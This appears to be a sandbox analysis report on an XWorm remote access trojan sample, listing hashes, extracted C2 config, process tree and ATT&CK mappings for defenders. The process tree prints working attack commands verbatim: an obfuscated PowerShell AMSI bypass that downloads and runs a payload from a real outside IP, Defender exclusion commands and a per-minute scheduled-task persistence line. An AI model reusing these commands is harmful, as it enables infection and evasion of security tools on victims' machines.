xworm | aefbc83f1cf4facc11486398011bea48b4eae99ff13bebff0981ebc837cd1ecf

Analysis

max time kernel
148s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20250217-en
resource tags

arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
submitted
08/03/2025, 19:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

NukeCrypter/NukeCryptor.exe
Size

519KB
MD5

5897585e89a0e475202fd43bebb8b5ec
SHA1

d3b45d759ee686d142849560e7d9e55e604cd4f7
SHA256

fa3d58def6d373cfadebc1fa095731594c0c281a4d4119278d88087597fbaded
SHA512

eab6e541a3c427adbc2fef42f203be247e8617cb76a51e8705cf547941fd1590f383ad48bf8d9b21d3df2bf33bebe61e6d86ac010aa54bffb42edb237952ea63
SSDEEP

12288:KX9eknz7sMClkSWOx08pHSsiI7nTdYDJgsIrXtG4an2aHzI+Nan11aQIYP:KXYOClkg7SsiuTkJgl84XmI+0n1UHY

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

45.137.201.27:2010

Mutex

NJSnJLx9hqfSdYjB

Attributes

Install_directory
%LocalAppData%
install_file
msedge.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral5/files/0x001a00000002ae2d-29.dat	family_xworm
behavioral5/memory/1456-39-0x0000000000420000-0x000000000044E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3736	powershell.exe
4356	powershell.exe
4164	powershell.exe
3904	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
1	3124	Powermode.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe

Executes dropped EXE 4 IoCs

pid	Process
3124	Powermode.exe
1456	msedge.exe
3228	msedge.exe
4080	msedge.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	NukeCryptor.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	NukeCryptor.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	NukeCryptor.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1328	schtasks.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3124	Powermode.exe
3124	Powermode.exe
3736	powershell.exe
3736	powershell.exe
4356	powershell.exe
4356	powershell.exe
4164	powershell.exe
4164	powershell.exe
3904	powershell.exe
3904	powershell.exe
1456	msedge.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	3124	Powermode.exe
Token: SeDebugPrivilege	1456	msedge.exe
Token: SeDebugPrivilege	3736	powershell.exe
Token: SeDebugPrivilege	4356	powershell.exe
Token: SeDebugPrivilege	4164	powershell.exe
Token: SeDebugPrivilege	3904	powershell.exe
Token: SeDebugPrivilege	1456	msedge.exe
Token: SeDebugPrivilege	3228	msedge.exe
Token: SeDebugPrivilege	4080	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1456	msedge.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 244 wrote to memory of 2064	244	NukeCryptor.exe	78
PID 244 wrote to memory of 2064	244	NukeCryptor.exe	78
PID 2064 wrote to memory of 3124	2064	cmd.exe	80
PID 2064 wrote to memory of 3124	2064	cmd.exe	80
PID 3124 wrote to memory of 1456	3124	Powermode.exe	81
PID 3124 wrote to memory of 1456	3124	Powermode.exe	81
PID 1456 wrote to memory of 3736	1456	msedge.exe	82
PID 1456 wrote to memory of 3736	1456	msedge.exe	82
PID 1456 wrote to memory of 4356	1456	msedge.exe	84
PID 1456 wrote to memory of 4356	1456	msedge.exe	84
PID 1456 wrote to memory of 4164	1456	msedge.exe	86
PID 1456 wrote to memory of 4164	1456	msedge.exe	86
PID 1456 wrote to memory of 3904	1456	msedge.exe	88
PID 1456 wrote to memory of 3904	1456	msedge.exe	88
PID 1456 wrote to memory of 1328	1456	msedge.exe	90
PID 1456 wrote to memory of 1328	1456	msedge.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\NukeCrypter\NukeCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\NukeCrypter\NukeCryptor.exe"
1⤵
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\ProgramData\my_script.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2064
- - C:\ProgramData\Powermode.exe
    Powermode.exe -w hidden -ComMand $m1='A';$m3='i';$m2='ms';$m=$m1+$m2+$m3;$a1='am';$a2='si';$a=$a1+$a2+'InitFailed';$b1='No';$b2='nPu';$b3='bli';$b4='c,St';$b5='at';$b6='ic';$b=$b1+$b2+$b3+$b4+$b5+$b6;$ex=$null;$aaa1=[Ref].Assembly.GetType('System.Management.Automation.'+$m+'Utils').GetField($a,$b);$aaa1.SetValue($ex,$true);$XZLqW6au='http://45.137.201.27:30054/msedge.exe';$output=[System.IO.Path]::Combine($env:APPDATA,'msedge.exe');[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri $XZLqW6au -OutFile $output;Start-Process -FilePath $output;exit
    3⤵
    - Downloads MZ/PE file
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3124
  - - C:\Users\Admin\AppData\Roaming\msedge.exe
      "C:\Users\Admin\AppData\Roaming\msedge.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1456
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3736
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4356
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4164
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3904
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1328

C:\Users\Admin\AppData\Local\msedge.exe
C:\Users\Admin\AppData\Local\msedge.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3228

C:\Users\Admin\AppData\Local\msedge.exe
C:\Users\Admin\AppData\Local\msedge.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Powermode.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
C:\ProgramData\my_script.bat

Filesize
729B

MD5
092cabe7fe4773b78ff62f414633572f

SHA1
c9f77f261d45e394086f7bb23eb91b80b8d0b318

SHA256
85d5ee43057001a08fa00e02a4aaf7d84a2d4407f662fa9c22b16b22a9d0738b

SHA512
e5d1b866e5a50243f953b67f191c4185aecdc828e5641cae6f78486f71f337f3efedbcb6051586b886a3c321db6fb17f9fe276cbc9954e0abb41e0813589a022

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\msedge.exe.log

Filesize
654B

MD5
2cbbb74b7da1f720b48ed31085cbd5b8

SHA1
79caa9a3ea8abe1b9c4326c3633da64a5f724964

SHA256
e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3

SHA512
ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2550655ef0d8c52e598c31b09e202a82

SHA1
f7c03f01fe2ea3340cac97a76fa428449f351255

SHA256
b16ab052e8c486fc9a0ecd10234bedc1f5d1e34cf5f99b5cfca4bd95a47c0c19

SHA512
bb773939c67b9a03c53cb83e1f9bde1a7288f15c3ccb77e29495125b669af807e6b319c17583121d09928e4579077d793812f199ba061be2eba8593e8aaa9bd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
f46385d2a6f78753812a2d11aa48b24e

SHA1
356ca5ffbcd407823c2039aaae406d3d779a2288

SHA256
5aa648cbd1422fe1d94b15bd258621b26bb1fb106d67b2ef5293acac23f2e2dd

SHA512
437f39d95226811c4a54c945344ec969eedb081fb8b1ec0019dc9ebdc50608988868608b8c47c09c373f39d11bdb3fbdd5f44a7aee7145cdb95866715b1286af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
9deb31d63c251368f1dcf297650b2997

SHA1
02a6835b82971ae7dba9d97e528412fac5247714

SHA256
9c598fb1420e5646126e8f7a42a3ea94b1050017e9cb67bbe6429f08c1bc2893

SHA512
0d6c8958a051b75f0d0a53e336954e102e642ad79a96f39fb1ed6643d77f9b54725b27eef460e33c89ff1d6136155cb6d873c25f9ae3dfc4a9d3a9346816477a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
8cb7f4b4ab204cacd1af6b29c2a2042c

SHA1
244540c38e33eac05826d54282a0bfa60340d6a1

SHA256
4994013dabe4f131d401879278eee147add6349124ea6452358dca7e2344c7a6

SHA512
7651cb6863a425840db610253151e271d3e8da26a8c633ce484247266fa226792ecb84b9578df3ab17fef84a5dfcad417b63a7df59c9650a907e08d59b91dd6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kz3es0pt.q3m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\msedge.exe

Filesize
165KB

MD5
22a01fdc6d06f445af5de9759799225f

SHA1
1dde5be9d7c8a7ae68332c92a6e1263f24705f7c

SHA256
682acd04365f06fd83daa81b7bbd71665a60e729d6d4ecc3693eb486b8d4a13f

SHA512
e602f9d32b78c8d317698337ea2eb02b6bbf72cae13d3a5c3e3cee39c2445a8c2d85514eb7c741125364fee2f83582ce6a41154128a6c88c257cb5e41eb8f2d6

Download Submit
memory/244-1-0x0000000000C00000-0x0000000000C86000-memory.dmp

Filesize
536KB

Download
memory/244-85-0x00007FFAA3310000-0x00007FFAA3DD2000-memory.dmp

Filesize
10.8MB

Download
memory/244-84-0x0000000067740000-0x000000006838B000-memory.dmp

Filesize
12.3MB

Download
memory/244-2-0x000000001BCE0000-0x000000001BEF4000-memory.dmp

Filesize
2.1MB

Download
memory/244-4-0x00007FFAA3310000-0x00007FFAA3DD2000-memory.dmp

Filesize
10.8MB

Download
memory/244-72-0x00007FFAA3310000-0x00007FFAA3DD2000-memory.dmp

Filesize
10.8MB

Download
memory/244-40-0x00007FFAA3313000-0x00007FFAA3315000-memory.dmp

Filesize
8KB

Download
memory/244-3-0x00007FFAA3310000-0x00007FFAA3DD2000-memory.dmp

Filesize
10.8MB

Download
memory/244-0-0x00007FFAA3313000-0x00007FFAA3315000-memory.dmp

Filesize
8KB

Download
memory/244-5-0x00007FFAA3310000-0x00007FFAA3DD2000-memory.dmp

Filesize
10.8MB

Download
memory/1456-39-0x0000000000420000-0x000000000044E000-memory.dmp

Filesize
184KB

Download
memory/3124-38-0x00007FFAA3310000-0x00007FFAA3DD2000-memory.dmp

Filesize
10.8MB

Download
memory/3124-24-0x00007FFAA3310000-0x00007FFAA3DD2000-memory.dmp

Filesize
10.8MB

Download
memory/3124-15-0x00007FFAA3310000-0x00007FFAA3DD2000-memory.dmp

Filesize
10.8MB

Download
memory/3124-14-0x000002B9FE010000-0x000002B9FE032000-memory.dmp

Filesize
136KB

Download
memory/3124-13-0x00007FFAA3310000-0x00007FFAA3DD2000-memory.dmp

Filesize
10.8MB

Download